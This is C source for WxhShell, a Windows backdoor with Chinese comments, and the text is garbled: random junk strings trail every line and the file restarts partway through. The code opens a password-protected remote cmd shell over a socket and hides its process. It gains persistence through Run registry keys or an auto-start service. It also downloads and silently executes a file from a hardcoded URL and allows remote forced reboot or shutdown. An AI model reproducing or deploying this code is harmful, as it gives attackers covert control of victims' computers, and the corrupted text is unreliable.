    } 2WoB;=  
  // 关机 `'/8ifKz  
  case 'd': { Z-p_hNb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Z$*8z=  
    if(Boot(SHUTDOWN)) n~h%K7 c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 f3?%9  
    else { Y 4U $?%j  
    closesocket(wsh); AQ&;y&+QR  
    ExitThread(0); Pz?O_@Ln  
    } A 6d+RAx  
    break; *\/UT  
    } B?]^}r  
  // 获取shell c~V\,lcI  
  case 's': { ??F{Gli"C`  
    CmdShell(wsh); n1QO/1} :  
    closesocket(wsh); >\e11OU0Gy  
    ExitThread(0); >y?$aJ8ZV  
    break; b(yY.L=K  
  } ]T$~a8  
  // 退出 l}m@9 ~oC  
  case 'x': { #>0nNR[$Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }\@*A1*X2  
    CloseIt(wsh); mVxS[Gq  
    break; )9*WmFc+#  
    } *]LM2J  
  // 离开 5b&'gd^d  
  case 'q': { 30<^0J.1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ne=D $o  
    closesocket(wsh); w$pv  
    WSACleanup(); xN5}y3  
    exit(1); ` p)#!  
    break; y,aASy!Q  
        } 9]Y@eRI<  
  } UZyo:*yB  
  } *aSFJK  
*+ b[v7  
  // 提示信息 Zffzyh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z'\_YbB  
} de"*<+  
  } d+_qBp  
_^KD&t%!+y  
  return; }{[F+|\>,e  
} P%1s6fjU  
5n_<)Ycj  
// shell模块句柄 BUtXHD  
int CmdShell(SOCKET sock) YcIk{_N3  
{ /t816,i  
STARTUPINFO si; t ({:TQ  
ZeroMemory(&si,sizeof(si)); nF)|oA   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \=.iM?T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !nTq"d%(W  
PROCESS_INFORMATION ProcessInfo; W<~(ieu:K~  
char cmdline[]="cmd"; km *$;Nli  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XRZmg "  
  return 0; c[4Z_5B  
} MQhL>oQ  
}%%| '8  
// 自身启动模式 pBHr{/\5  
int StartFromService(void) u|+O%s TQ  
{ uoF9&j5E@Z  
typedef struct lO:[^l?F  
{ /Qbt  
  DWORD ExitStatus; n84*[d}t  
  DWORD PebBaseAddress; #SO9e.yhI  
  DWORD AffinityMask; <h(tW  
  DWORD BasePriority; (|S e+Y#e,  
  ULONG UniqueProcessId; y$!~</=b  
  ULONG InheritedFromUniqueProcessId; Nl1&na)K}  
}   PROCESS_BASIC_INFORMATION; P! :D2zSH_  
=>4,/g3  
PROCNTQSIP NtQueryInformationProcess; 'peFT[1> (  
Yk:\oM   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >I+O@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZMbv1*Vt  
9=:!XkT.  
  HANDLE             hProcess; v-OaH81&R  
  PROCESS_BASIC_INFORMATION pbi; `/"TYR%  
6%:N^B=%}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =YI<L8@g~  
  if(NULL == hInst ) return 0; _Nw-|N.  
/KH3v!G0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); syMB~g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8USF;k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); euQ d  
Fe8xOo6  
  if (!NtQueryInformationProcess) return 0; 3rs=EMz:w  
>*EcX3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - v`;^X  
  if(!hProcess) return 0; L~~;i'J  
qL(Qmgd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^lf)9 `^U  
s2q#D.f  
  CloseHandle(hProcess); 9[/Gd{`XC  
H"m^u6Cmy-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B|#"dhT  
if(hProcess==NULL) return 0; Z>'.+OW  
wuI+$?  
HMODULE hMod; e:&5Cvx  
char procName[255]; uYF_sf  
unsigned long cbNeeded; 7n5 bI\  
Drc\$<9c@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p.)G ],  
_.zW[;84b  
  CloseHandle(hProcess); AfyEFnY  
)0YMi!&j`  
if(strstr(procName,"services")) return 1; // 以服务启动 8MV=?  
'xhX\?mD  
  return 0; // 注册表启动 4k}u`8 a  
} *SL v$A  
5s`NR<|2L  
// 主模块 m%ak]rv([  
int StartWxhshell(LPSTR lpCmdLine) ]QRhTz  
{ d-lC|5U%  
  SOCKET wsl; p^^E(<2  
BOOL val=TRUE; a~WtW]  
  int port=0; c1Xt$[_  
  struct sockaddr_in door; 0fwo8NgX  
(eFHMRMv~  
  if(wscfg.ws_autoins) Install(); NJwcb=*  
#X`j#"Ov2(  
port=atoi(lpCmdLine); % ?@PlQ  
M{Wla 7  
if(port<=0) port=wscfg.ws_port; nTyK Z(#u  
Ub%5# <k|-  
  WSADATA data; yS %J$o&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ohOze\T)=  
Kb#py6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   * ix&"|h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ITJ}e4  
  door.sin_family = AF_INET; vA*!82  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5e6f)[}  
  door.sin_port = htons(port); skf7Si0z  
&dH/V-te  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %TP0i#J  
closesocket(wsl); <T,vIXwu+  
return 1; kO+Y5z6=  
} 8 W79  
zvL;.U  
  if(listen(wsl,2) == INVALID_SOCKET) { MZv In ZS  
closesocket(wsl); h:}oUr8   
return 1; vg5i+ry<  
} .IE2d%]?  
  Wxhshell(wsl); `,3;#.[D  
  WSACleanup(); H_un3x1  
B~G ?&"]  
return 0; KQ9~\No]  
W c{<DE?J  
} )k&<D*5s  
\GO^2&g(  
// 以NT服务方式启动 S=*rWh8)%<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g:7S/L0]  
{ <-D>^p9  
DWORD   status = 0; OTY9Q  
  DWORD   specificError = 0xfffffff; Usx8  U  
xrs?"]M[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :<r.n "  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IQAV`~_G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;`p+Vs8C  
  serviceStatus.dwWin32ExitCode     = 0; v[E*K@6f  
  serviceStatus.dwServiceSpecificExitCode = 0; 4"nb>tA  
  serviceStatus.dwCheckPoint       = 0; p Wa'Fd  
  serviceStatus.dwWaitHint       = 0; j'R{llZW  
kI<;rP1S|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n6Je5fE  
  if (hServiceStatusHandle==0) return; i 3?=up!  
d kVF  
status = GetLastError(); dDK4I3a  
  if (status!=NO_ERROR) #N.W8mq  
{ /zJDQ'k0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; US[{ Q  
    serviceStatus.dwCheckPoint       = 0; 2~h! ouleY  
    serviceStatus.dwWaitHint       = 0; fkbHfBp[(A  
    serviceStatus.dwWin32ExitCode     = status; M_lQ^7/  
    serviceStatus.dwServiceSpecificExitCode = specificError; roSdcQTeT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3#<b!Yz  
    return; A)/8j2  
  } b{%p  
S:aAR*<6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w\ 4;5.$  
  serviceStatus.dwCheckPoint       = 0; NCR 4n_  
  serviceStatus.dwWaitHint       = 0; !W4A 9Th  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O9?t,1  
} f3El9[  
VbyGr~t  
// 处理NT服务事件,比如:启动、停止 +GqK$B(x7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AqnDsr!  
{ b&BkT%aA(G  
switch(fdwControl) ?y_W%og W  
{ \]uD"Jqv#  
case SERVICE_CONTROL_STOP: #}Y$+FtO  
  serviceStatus.dwWin32ExitCode = 0; HqC 1Dkw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BPs|qb-  
  serviceStatus.dwCheckPoint   = 0; jGy%O3/  
  serviceStatus.dwWaitHint     = 0; R-QSv$  
  { V{4=, Ax  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <cS"oBh&u0  
  } cetHpU ,  
  return; UVa:~c$U4  
case SERVICE_CONTROL_PAUSE: v8 rK\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 14>WpNN  
  break; tQ~vLPi$  
case SERVICE_CONTROL_CONTINUE: *9T a0e*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w{TZN{Y  
  break; {x_SnZz&  
case SERVICE_CONTROL_INTERROGATE: #@%DY*w]v  
  break; mW EaUi)Zz  
}; a4{~.Mp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sT8(f=^)8F  
} T6mbGE*IeE  
Uao8#<CkvJ  
// 标准应用程序主函数 0i/!by {@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ),cozN=NM  
{ jR1t&UD3Y  
)bqSM&SO  
// 获取操作系统版本 ufl[sj%^|  
OsIsNt=GetOsVer(); =c/jS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZW+M<G  
{o>51fXc)  
  // 从命令行安装 w8veh[%3n  
  if(strpbrk(lpCmdLine,"iI")) Install(); H#/ #yVw  
@G'&7-(h*  
  // 下载执行文件 zP554Gr?  
if(wscfg.ws_downexe) { oW ! Z= ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f wE b  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9d kuvk}:  
} <e&88{jJ  
''D\E6c\  
if(!OsIsNt) { yBKEw(1  
// 如果时win9x,隐藏进程并且设置为注册表启动 AUk-[i  
HideProc(); ~V34j:  
StartWxhshell(lpCmdLine); _L8|Z V./  
} z3Id8G&>  
else =#=<%HPT  
  if(StartFromService()) @kh:o\  
  // 以服务方式启动 &<dC3o!  
  StartServiceCtrlDispatcher(DispatchTable); )}!Z^ND*  
else 1F|e/h%^  
  // 普通方式启动 dlv1liSXL5  
  StartWxhshell(lpCmdLine); &,*G}6wa;&  
?58,Ja  
return 0; |; [XZ ZZ  
} p9X{E%A<:  
r< MW8  
[KcF0%a  
uy'I#^Bt  
=========================================== ;r8< Ed  
OKo)p`BX  
Q H>e_  
3[{RH*nHD  
*C~$<VYI  
mv,p*0  
" n3z]&J5fr  
Z-U-n/6I  
#include <stdio.h> wn1` 9  
#include <string.h> >PbB /->  
#include <windows.h> dgEH]9j&  
#include <winsock2.h> iVaCXXf'  
#include <winsvc.h> [[XbKg`"?  
#include <urlmon.h> h/goV  
`/"*_AKAI  
#pragma comment (lib, "Ws2_32.lib") 57|RE5]|!  
#pragma comment (lib, "urlmon.lib") 1ze\ U>  
}+@GgipyO.  
#define MAX_USER   100 // 最大客户端连接数 2/dvCt6 N  
#define BUF_SOCK   200 // sock buffer #jqcUno  
#define KEY_BUFF   255 // 输入 buffer &"gQrBa  
B0+r  
#define REBOOT     0   // 重启 Z>l%:;H  
#define SHUTDOWN   1   // 关机 pLiGky  
8pXului  
#define DEF_PORT   5000 // 监听端口 9cqq"-$G`  
wH0m^?a!3  
#define REG_LEN     16   // 注册表键长度 [ !<  
#define SVC_LEN     80   // NT服务名长度 /_(q7:<ZF  
uN;]Fv@Z  
// 从dll定义API Ss~yy0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k>.n[`>$6|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hU|TP3*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bC h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pd8zdzf{  
Cs2F/M'  
// wxhshell配置信息 |Y tZOQu  
struct WSCFG { Lk8[fFa4  
  int ws_port;         // 监听端口 360b`zS  
  char ws_passstr[REG_LEN]; // 口令 ."u DM<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9ao GptgN  
  char ws_regname[REG_LEN]; // 注册表键名 h_y;NB(w  
  char ws_svcname[REG_LEN]; // 服务名 (3VV(18  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =O o4O CF2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7[I%UP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P1_ZGeom*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S x0QPX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8! X K[zL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5jey%)=  
0!tw)HR%  
}; ~Gj%z+<  
!;, Dlq-}  
// default Wxhshell configuration "6t#   
struct WSCFG wscfg={DEF_PORT, pNNvg,hS8  
    "xuhuanlingzhe", )`,Y ^`F2  
    1, ^Q9!DF m  
    "Wxhshell", Sg+0w7:2  
    "Wxhshell", b[Qe} `W  
            "WxhShell Service", WNO!6*+  
    "Wrsky Windows CmdShell Service", zDoh p 5,  
    "Please Input Your Password: ", D!WyT`T  
  1, ;^DG P  
  "http://www.wrsky.com/wxhshell.exe", a,ZmDkzuv  
  "Wxhshell.exe" %1Nank!Zj  
    }; Hs`j6yuc9  
/'QfLW>6  
// 消息定义模块 xgq `l#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n6C]JWG\/U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _ %gu<Ys  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EQ%,IK/  
char *msg_ws_ext="\n\rExit."; De`p@`+<#~  
char *msg_ws_end="\n\rQuit."; 5H79-QLd  
char *msg_ws_boot="\n\rReboot..."; z@Uf@~+U  
char *msg_ws_poff="\n\rShutdown..."; 5Z_7Sc  
char *msg_ws_down="\n\rSave to "; yKB&][)&  
] ^ s,  
char *msg_ws_err="\n\rErr!"; :cA%lKg  
char *msg_ws_ok="\n\rOK!"; ,SG-{   
oD.[T)G?  
char ExeFile[MAX_PATH]; ~\khwNA  
int nUser = 0; O.z\ VI2f  
HANDLE handles[MAX_USER]; dxi5p!^^9  
int OsIsNt; $mu*iW\{  
L_O*?aaZ  
SERVICE_STATUS       serviceStatus; 0^9%E61YR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]9PQKC2&  
Me2qOc^Z-  
// 函数声明 sL!+&Id|  
int Install(void); ',bSJ4)Y  
int Uninstall(void); oY<R[NYKu  
int DownloadFile(char *sURL, SOCKET wsh); '`sZo1x%f  
int Boot(int flag); <HB@j}qi  
void HideProc(void); k1E(SXcW9  
int GetOsVer(void); &rfl(&\oUi  
int Wxhshell(SOCKET wsl); ;hb_jW-0W  
void TalkWithClient(void *cs); PHR:BiMZ  
int CmdShell(SOCKET sock); <5E: ,<  
int StartFromService(void); z)F<{]%  
int StartWxhshell(LPSTR lpCmdLine); cH48)  
b]6@ O8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \(`8ng]vs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L+D9ZE]  
3L^]J}|  
// 数据结构和表定义 @/W~lJ!e  
SERVICE_TABLE_ENTRY DispatchTable[] = >m+Fm=  
{  /C   
{wscfg.ws_svcname, NTServiceMain}, `'G1"CX  
{NULL, NULL} !]C=5~B BI  
}; 8)bqN$*h  
UUR+PfY  
// 自我安装 u3vM!  
int Install(void) 9p4=iXfR  
{ Xj5oHHwn  
  char svExeFile[MAX_PATH]; %$[#/H7=W  
  HKEY key; .D{He9  
  strcpy(svExeFile,ExeFile); *W-:]t3CR  
brEA-xNWQ  
// 如果是win9x系统,修改注册表设为自启动 u"gtv  
if(!OsIsNt) { Xkp?)x3~X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sp/<%+2(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h>"j!|#!s  
  RegCloseKey(key); 2Y~nU(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EE5mVC&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :r4o:@N'  
  RegCloseKey(key); -]Y@_T.C  
  return 0; 3eERY[  
    } pD17r}%  
  } XiO~^=J  
} +SNjU"x  
else { g\]~H%2 ,  
Vrn+"2pdJ  
// 如果是NT以上系统,安装为系统服务 ib-H jJ8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !2F X l;  
if (schSCManager!=0) e+<'=_x {  
{ .]YTS  
  SC_HANDLE schService = CreateService 7q(A&  
  ( a.2Xl}2o5  
  schSCManager, =/Ph ]f9  
  wscfg.ws_svcname, t.Yf8Gy  
  wscfg.ws_svcdisp, -dS@ l'$  
  SERVICE_ALL_ACCESS, }D[j6+E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p(!d,YSE  
  SERVICE_AUTO_START, l i) 5o  
  SERVICE_ERROR_NORMAL, F%IvgXt5  
  svExeFile, LYO2L1u)  
  NULL, v>/_U  
  NULL, B!1h"K5.($  
  NULL, {s>V'+H(F  
  NULL, +~$pkxD"  
  NULL G^V a$ike  
  ); Mp?L9  
  if (schService!=0) GK=b  
  { 8Dkq+H93  
  CloseServiceHandle(schService); ,lcS J^yr  
  CloseServiceHandle(schSCManager); Y?ZzFd,i&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NXX/JJ+w  
  strcat(svExeFile,wscfg.ws_svcname); z/,&w_8,:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L+8{%\UPd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SW}?y%~  
  RegCloseKey(key); `\$EPUM  
  return 0; MdDL?ev  
    } \V#fl  
  } oA?EJ~%  
  CloseServiceHandle(schSCManager); #z+?t  
} {zalfw{+  
} ;;|.qgxc~  
4L_)@n}  
return 1; zbI|3  
} )4TP{tp  
E[cH/Rm  
// 自我卸载 u|cP&^S  
int Uninstall(void) F :og:[  
{ 01~ nC@;  
  HKEY key; SuXeUiK.[  
ERy=lP~gV  
if(!OsIsNt) { tl; b~k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 20# V?hX3  
  RegDeleteValue(key,wscfg.ws_regname); l5#SOo\  
  RegCloseKey(key); =!\Y;rk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p\R&vof*  
  RegDeleteValue(key,wscfg.ws_regname); !Df>Q5~g  
  RegCloseKey(key); i5aY{3!  
  return 0; G@txX '  
  } ~@DdN5  
} !t+ 3DMPn  
} 4]#$YehM5  
else { 7,zE?KG /  
wYr*('uT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d( yTz&u)  
if (schSCManager!=0) 6Yl+IP];i  
{ oL~?^`cGZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sm{> 8e}UE  
  if (schService!=0) 2 w6iqLr?  
  { &M:o(T  
  if(DeleteService(schService)!=0) { '&nQ~=3  
  CloseServiceHandle(schService); M@o^V(j  
  CloseServiceHandle(schSCManager); Cu!]-c{  
  return 0; JT&RaFX  
  } _+X-D9j(l  
  CloseServiceHandle(schService); _u]%K-_  
  } CeeAw_*@  
  CloseServiceHandle(schSCManager); mV^~  
} b:cy(6G(  
} BOWOH  
%/ctt_p0x  
return 1; B77`azwF  
} SsPZva  
9F[_xe@  
// 从指定url下载文件 _M+7)[xj=  
int DownloadFile(char *sURL, SOCKET wsh) s94 *uZ(C/  
{ [r!f&R  
  HRESULT hr; ia(`3r  
char seps[]= "/"; :a^/&LbLm  
char *token; q}!h(-y}5n  
char *file; 80ox$U  
char myURL[MAX_PATH]; ,Ha<lU2K  
char myFILE[MAX_PATH]; SF`(`h0e  
|s;']  
strcpy(myURL,sURL); MT7B'hd  
  token=strtok(myURL,seps); ~oJ"si  
  while(token!=NULL) =^SxZ Bn  
  { \2]_NU5.  
    file=token; \Hdsy="Dnh  
  token=strtok(NULL,seps); lF_"{dS_6(  
  } -QwH|   
px*1 3"  
GetCurrentDirectory(MAX_PATH,myFILE); XDHi4i47`o  
strcat(myFILE, "\\"); 050,S`%<g8  
strcat(myFILE, file); JHXkQz[Jb  
  send(wsh,myFILE,strlen(myFILE),0); yRIXUCy  
send(wsh,"...",3,0); ({Pjz;xM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P8Wv&5A  
  if(hr==S_OK) kIX1u<M~  
return 0; !JyY&D~`  
else ]jYFrOMy4S  
return 1; SZEi+CRs0  
x H&hs$=  
} wJNm}Wf  
!-.GfI:q  
// 系统电源模块 |-)8=QDz)r  
int Boot(int flag) #=VYq4B=  
{ Nke!!A}\|  
  HANDLE hToken; V$sY3,J7A%  
  TOKEN_PRIVILEGES tkp; 2:_6nWl  
=#v? }JG  
  if(OsIsNt) { mBE&>}G<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P#,;)HF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *yaS^k\  
    tkp.PrivilegeCount = 1; 0y6M;"&~E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &!OEd ]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dFF=-_O>  
if(flag==REBOOT) { ,2^4"gIl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eZaSV>27  
  return 0; I/%v`[  
}  ?C#E_  
else { y)U ?.@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #c5jCy}n  
  return 0; fx(h fz  
} Pc_aEBq  
  } 76wNZv) 9  
  else { }f]Y^>-Ux  
if(flag==REBOOT) { _'LZf=V0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5nUJ9sqA  
  return 0; /("7*W2  
} ;8eKAh  
else { __2<v?\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P RWb6  
  return 0; Qr9;CVW  
} y TD4![  
} fT|A^  
,/D}a3JD  
return 1; xC,x_:R`  
} xEp?|Q$  
Dlq !:dF{&  
// win9x进程隐藏模块 !t^DN\\#  
void HideProc(void) #<S*MGp!=  
{ qh:Bc$S  
2lCFE)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~/]]H;;^u  
  if ( hKernel != NULL ) #3QPcoxa  
  { qD4]7"9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iN[x *A|h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oojl"j4  
    FreeLibrary(hKernel); z@i4  
  } $[A\i<#  
pYx,*kG:HW  
return; D]]wJQU2  
} viG,z4Zf  
)63 $,y-;$  
// 获取操作系统版本 dPwyiV0  
int GetOsVer(void) L%T(H<G  
{ {d'-1z"q  
  OSVERSIONINFO winfo; pA ~} _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u3C_Xz  
  GetVersionEx(&winfo); RqtBz3v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l!F$V;R  
  return 1; U}RBgPX!  
  else &ASR2J  
  return 0; ujZ`T0  
} bI55G#1G  
_cX}!d!j  
// 客户端句柄模块 @"-\e|[N  
int Wxhshell(SOCKET wsl) \</!kY*3@t  
{ V0=%$tH  
  SOCKET wsh; [b:&y(  
  struct sockaddr_in client; gvA}s/   
  DWORD myID; yQiY:SH  
S^eem_C  
  while(nUser<MAX_USER) x9vSekV  
{ x,!Dd  
  int nSize=sizeof(client); (?fU l$q\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <X:JMj+  
  if(wsh==INVALID_SOCKET) return 1; }l|S]m!  
6O As%QZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #$I@V4O;#  
if(handles[nUser]==0) D\AVZ76F1  
  closesocket(wsh); Uj):}xgi'  
else l1)~WqhE}  
  nUser++;  X0VS a{  
  } >u?.gJm~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OG/b5U  
> S>*JP  
  return 0; Nmj)TOEPW  
} h Ma;\k  
 :\\NK/"  
// 关闭 socket :&IHdf0+  
void CloseIt(SOCKET wsh) jYHnJ}<  
{ Dfs*~H 63  
closesocket(wsh); s-$ Wc) l  
nUser--; s;BMj^x  
ExitThread(0); >R+-mP!nj  
} cb|+6m~  
ABN4kM>%  
// 客户端请求句柄 >A$L&8'C  
void TalkWithClient(void *cs) 566!T_  
{ _MBhwNBxZ  
y9r4]45  
  SOCKET wsh=(SOCKET)cs; >}+{;d  
  char pwd[SVC_LEN]; fg^AEn1i  
  char cmd[KEY_BUFF]; #ibwD:{  
char chr[1]; UK ':%LeL  
int i,j;  ]n!V  
2n:<F9^"  
  while (nUser < MAX_USER) { x]{P.7IO'  
Mg;pNK\n  
if(wscfg.ws_passstr) { Q K]P=pE'C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vu:ZG*^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;W,* B.~  
  //ZeroMemory(pwd,KEY_BUFF); [';o -c"!  
      i=0; hdPGqJE  
  while(i<SVC_LEN) { sbW+vc  
!8H0.u rw  
  // 设置超时 1dQAo1  
  fd_set FdRead; r&{8/ 5 "  
  struct timeval TimeOut; Qr.{_M  
  FD_ZERO(&FdRead); @d WA1tM  
  FD_SET(wsh,&FdRead); DYf QlA  
  TimeOut.tv_sec=8; :_8K8Sa  
  TimeOut.tv_usec=0; ;m]V12  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZcN0:xU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |+Y-i4t  
_:r8UVAT.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,:?ibE=  
  pwd=chr[0]; f%]@e9dD  
  if(chr[0]==0xd || chr[0]==0xa) { hX.cdt_?  
  pwd=0; uf6egm5 ]  
  break; _3`G ZeGV  
  } %;[DMc/  
  i++; *k{Llq  
    } b)diYsTH  
Kxsd@^E  
  // 如果是非法用户,关闭 socket MntmBj-T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SZWNN#w60?  
} 2(eO5.FYF  
_Xf1FzF+a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y&6jFT_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1)X|?ZD]F  
7{#p'.nc5  
while(1) { $--8%gh dG  
q8{Bx03m6  
  ZeroMemory(cmd,KEY_BUFF); j1_>>xB  
Z",0 $Gxu  
      // 自动支持客户端 telnet标准   .I`>F/Sjr  
  j=0; O*u   
  while(j<KEY_BUFF) { %J*1F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q9bnOvKe|  
  cmd[j]=chr[0]; >ywl()4O  
  if(chr[0]==0xa || chr[0]==0xd) { 8{>|%M  
  cmd[j]=0; T9yI%;D  
  break; )G2Bx+Z;L  
  } Ne u$SP  
  j++; -'&l!23a~  
    } [<@L`ki  
V^s, 3C  
  // 下载文件 $_<[kci %  
  if(strstr(cmd,"http://")) { .x=abA$!9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jJ2rfdfj  
  if(DownloadFile(cmd,wsh)) 6()Jx%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !X}+JeU '  
  else MT{1/A;`)  
